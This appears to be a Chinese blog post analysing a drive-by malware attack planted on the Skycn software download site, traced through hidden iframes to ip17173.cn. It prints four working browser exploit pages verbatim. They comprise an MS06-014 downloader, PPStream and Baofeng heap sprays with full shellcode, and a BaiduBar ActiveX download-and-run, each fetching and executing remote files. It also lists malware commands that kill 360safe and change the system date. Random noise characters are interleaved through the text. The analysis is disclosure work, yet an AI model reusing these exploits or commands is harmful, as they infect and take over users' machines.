|
天空软件站是中国最大的软件下载站之一,如今它被挂马了,那么想必已经有几千万人中招了。Monyer并不是危言耸听,下面的分析将证明这不是个笑话。
: I3 x8 T# k( ~; {; n 今天偶尔上天空看我的UDisk时(重要提醒,天空有病毒不要打开,晕了!),发现Maxthon居然弹出程序运行警告,提示我在c盘下有个c.exe文件要运行,不知道其他人遇到这种情况怎么想,反正从我电脑上出现便成了一件恐怖的事情。看了看任务管理器,内存已经增加了几百兆,很显然被溢出了。再看看C盘的根目录,一个c.exe文件正躺在那里(这说明病毒文件还没有运行,如果运行了,估计你就什么都看不到了。)。于是便开始了以下寻马之旅。# R: c( r6 @9 g. k( K/ }

* I6 q, W# L9 P# U& i$ o 通过对天空站的分析,被挂马的页面仅存在于软件下载页面。再通过对加进的javascript和iframe的排除,最后落定被插入的恶意代码为:4 P/ V* \( d# l: K+ D
<iframe name=import_frame width=1height=1 src=http://iplog.skycn.com/wherefrom.php?id=32336frameborder=no></iframe> {- \$ I, n! H0 L0 i3 U- O% {5 j) h
它将框架的宽高设为1像素即肉眼不可见。下载whereform.php文件发现里面有另外的代码:0 \6 r0 i5 C% l; T" O' U
<iframe src=http://www.ip17173.cn/index.html?419891509 width=100 height=0></iframe># U7 a3 z: V, A" m( P5 m" V
又一个框架,直接访问将看到两个计数器,挺有意思- D* ~ v. w7 y( m/ f
' L( I7 `! Q: I: W/ Y
继续下载ip17173.cn这个站点上的index.html文件打开,里面是一堆加密的javascript代码,这是件好事情——小偷偷东西通常都把脸蒙起来。
/ C2 `' @5 ^1 a' c5 d3 T( H6 }简单看了一下,虽然js被加密得面目全非,但好在解密函数还在,那么一切都变得简单,将document.write换成alert即可。运行一下index.html,弹出第二个alert窗口便是木马的所在了* O3 E! V* Y0 i0 a, ?6 @& |9 ~
个iframe框架,看来应该对应9个不同的木马哦。用flashget一齐下载,发现有效的仅是vip1.htm~vip4.htm这四个页面,估计剩下的是预留出来的吧。
4 x' I$ F8 I( j% C对这四个页面依次做代码分析便有些冒冷汗了。以下是分析结果
7 X0 \9 ~, v& f# O) \1 ~( a: E, I/ s
http://www.ip17173.cn/vip1.htm MS-06014 down.exe c:\1.exe
$ V" v) {' t; \- I' |; l<script>url2="http://www.ip17173.cn/down.exe";url1="http://www.ip17173.cn/run.js";try{varado=(document.createElement("object"));ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");varxml=ado.CreateObject("Microsoft.XML"+"HTTP","");varas=ado.createobject("Adodb.Stream","");xml.Open("GET",url1,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path1="..//ntuser.js";as.savetofile(path1,2);as.close();xml.Open("GET",url2,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path2="C:\\1.exe";as.savetofile(path2,2);as.close();varshell=ado.createobject("Shell.Application","");shell.shellExecute(path1,"","","open",0);}catch(e){};</script><body>查无此页<html> ( B2 X9 [$ K6 h8 k! u! l; z" }8 W% [
http://www.ip17173.cn/vip2.htm ppstream down.exe c:\c.exe! x" c A& j/ e6 t* c
<html><body><objectid="pingfan"classid="clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458"></object><script>varshellcode=unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");bigblock=unescape("%u9090");headersize= 20;slackspace = headersize+shellcode.length;while ( bigblock.length< slackspace ) bigblock+=bigblock;fillblock = bigblock.substring(0,slackspace);block=bigblock.substring(0, bigblock.length-slackspace);while(block.length+ slackspace < 0x40000) block =block+ block + fillblock;memory =new Array();;;;memory;for (x=0; x<400;x++) memory[x] = block +shellcode;var buffer ='\x0a';while(buffer.length < 500) buffer+='\x0a\x0a\x0a\x0a';pingfan.Logo=buffer;</script></body></html>; j9 K Y( i B+ u, S
http://www.ip17173.cn/vip3.htm 暴风 down.exe c:\u.exe' F+ D# N& b% ~( L2 O- ]# F3 V2 e3 [
<html>% A6 p* d) t+ W" G$ l5 i/ V1 k+ Q
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>
6 f N1 Z; u# O1 q& O& [. x<body>) A& O' f2 C p6 W) C
<SCRIPT language="javascript">: b3 V: l* W* \# E
varshellcode=unescape("%u9090%u9090%uEFE9%u0000%u5A00%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uD88B%u738B%u8B3C%u1E74%u0378%u8BF3%u207E%uFB03%u4E8B%u3314%u56ED%u5157%u3F8B%uFB03%uF28B%u0E6A%uF359%u74A6%u5908%u835F%u04C7%uE245%u59E9%u5E5F%uCD8B%u468B%u0324%uD1C3%u03E1%u33C1%u66C9%u088B%u468B%u031C%uC1C3%u02E1%uC103%u008B%uC303%uFA8B%uF78B%uC683%u8B0E%u6AD0%u5904%u6AE8%u0000%u8300%u0DC6%u5652%u57FF%u5AFC%uD88B%u016A%uE859%u0057%u0000%uC683%u5613%u8046%u803E%uFA75%u3680%u5E80%uEC83%u8B40%uC7DC%u6303%u646D%u4320%u4343%u6643%u03C7%u632F%u4343%u03C6%u4320%u206A%uFF53%uEC57%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5056%u57FF%u8BFC%u6ADC%u5300%u57FF%u68F0%u2451%u0040%uFF58%u33D0%uACC0%uC085%uF975%u5251%u5356%uD2FF%u595A%uE2AB%u33EE%uC3C0%u0CE8%uFFFF%u47FF%u7465%u7250%u636F%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446D%u7269%u6365%u6F74%u7972%u0041%u6957%u456E%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4C00%u616F%u4C64%u6269%u6172%u7972%u0041%u7275%u6D6C%u6E6F%u5500%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54%u6946%u656C%u0041%u7468%u7074%u2F3A%u772F%u7777%u692E%u3170%u3137%u3337%u632E%u2F6E%u6F64%u6E77%u652E%u6578");
. ?) @, L( Y: a) s) a" `</script>
- S8 X( o3 Q6 u; z! U6 A<SCRIPT language="javascript">
! H! d/ B; C7 a+ [var bigblock = unescape("%u9090%u9090");3 G# B1 u1 f) O% K7 H
var headersize = 20;
: Q( |% Q' m5 k& B6 J8 }var slackspace = headersize+shellcode.length;- V Q( R b M5 p( @0 C
while (bigblock.length<slackspace) bigblock+=bigblock;# h q0 ~( v5 g7 T- D: e
fillblock = bigblock.substring(0, slackspace);
3 E |; l( m% \3 S* ^block = bigblock.substring(0, bigblock.length-slackspace); h+ D, h% P; R$ L3 F' u- u0 d
while(block.length+slackspace<0x40000) block = block+block+fillblock;
. {7 c; {" r4 E) T1 E, O2 u# Rmemory = new Array();1 B9 r7 @( u3 v4 T2 Y; f
for (x=0; x<300; x++) memory[x] = block + shellcode;3 S& [+ b: g/ q: P) p1 s
var buffer = '';
) U+ D7 J3 b4 bwhile (buffer.length < 4057) buffer+='\x0a\x0a\x0a\x0a';
R- N7 S0 r" L; X/ F! Mbuffer+='\x0a';
) o2 u/ u6 }! Z, v8 S B1 abuffer+='\x0a';
! G- B0 O: A1 R- \: wbuffer+='\x0a';* J ^/ o4 L+ U. X
buffer+='\x0a\x0a\x0a\x0a';
2 G; y, p, T; ]5 v+ q& ubuffer+='\x0a\x0a\x0a\x0a';
. u5 E. B# W7 C9 p B3 g. htarget.rawParse(buffer);
, a& r& i0 T% E! e X( I* f1 ?</script>; d. H0 ~; Q! G' x: H. k
</body>- [; o* Y: p+ s* n( b" d; Y$ [
</html>: j$ g6 Y3 z: b) I* ]0 q: X) z F
http://www.ip17173.cn/vip4.htm BaiDuBar calc.cab down.exe
) L8 g) ~$ Z8 B+ U0 L7 x9 y1 }<script>3 |+ A/ o7 R/ x4 s' R
function DowndloadCalcAndRun()
4 C! T: D" c0 A! Z7 {0 C, }{
( y' P: J4 E4 k- Y& L) \/ ?9 \) Hcom.DloadDS("http://www.ip17173.cn/calc.cab", "down.exe", 00);6 ^+ X9 c. s1 j E
}
& X$ J$ D7 F& C* o v</script> K* A( a8 H% k7 b) ?$ H
</head>) O Y* m4 p' T
<OBJECT ID = "com" CLASSID = "CLSID:{A7F05EE4-0426-454F-8013-C41E3596E9E9}">% {6 S' e' U; ]# f ?" \
</OBJECT>( F: Z# N# g! M1 ]1 P, _
<script>
) R5 D, _' m4 b4 NDowndloadCalcAndRun()
( X6 A4 r" G. _6 e4 s</script>
5 U) m u" `' b- M% F8 e# |<body>欢迎使用<html>
, W' A6 g4 C0 }: N# g4个溢出漏洞,在前几天还有3个是0day!
% r% l- F9 T$ S8 y7 m一个是ms-06014漏洞,会将其站点的down.exe文件保存到c:\1.exe并运行2 g: t# F& X0 {( K$ P8 l; C
一个是ppstream堆栈溢出,将同样文件保存到c:\c.exe并运行1 y# m9 E7 @0 @4 d% a
一个是暴风影音溢出漏洞,保存到c:\u.exe并运行; P" V7 b/ _* T
一个是baidubar的溢出漏洞,将calc.cab 保存到down.exe并运行
5 F, C2 }7 L7 o7 H(这些文件运行后会自我删除,然后关闭杀毒软件,并自动下载其他木马或病毒。)% d! o9 O6 t# l5 v3 e8 n
其中ppstream直到如今仍没有官方补丁。- z6 o0 w1 `6 C* R
down.exe文件一看名便知是个下载者了,下载下来传到virscan.org不禁又汗然一把
8 h0 V, l) g: I' D) {3 ?AVG、巴斯基、江民瑞星金山三大支柱、诺顿、趋势,全部开绿灯。即使熊猫来一个suspiciousfile,也顶多因为其是fsg2.0壳而报个可疑文件,这意味着它是不会主动删除的。麦咖啡虽然给出个pws,但也仅仅是个low的风险等级。所以几乎所有市面上常见的杀毒软件全部“罢工”。% u3 T# i; u5 l3 N
down.exe会下载21个文件。$ \" {/ ?) w/ T, z- |
http://www.ip17173.cn/down/1.exe - 20.exe、down.exe
7 t0 M3 d) d) L2 D7 N. h分别保存到C:\Program Files\Internet Explorer\1.exe - 20.exe、down.exe 运行. |' d2 j$ d5 c( F
还会执行
* q1 r- i, q1 Q0 `% jcmd /c taskkill /im 360safe.exe /f$ U4 A! }# p5 G7 V
cmd /c date 2000-01-01. L8 X% j1 h4 t1 m
. F# c* E7 x }然后还有一个删除自身的批处理。
1 t/ u5 G e' L* @
* F( v/ h5 C+ Z1 S还有其他的比如放到启动项,改名字什么的。7 h8 I5 P( ?) ?3 V, }
感谢鬼仔提供信息!
, q4 u y# E/ f |
|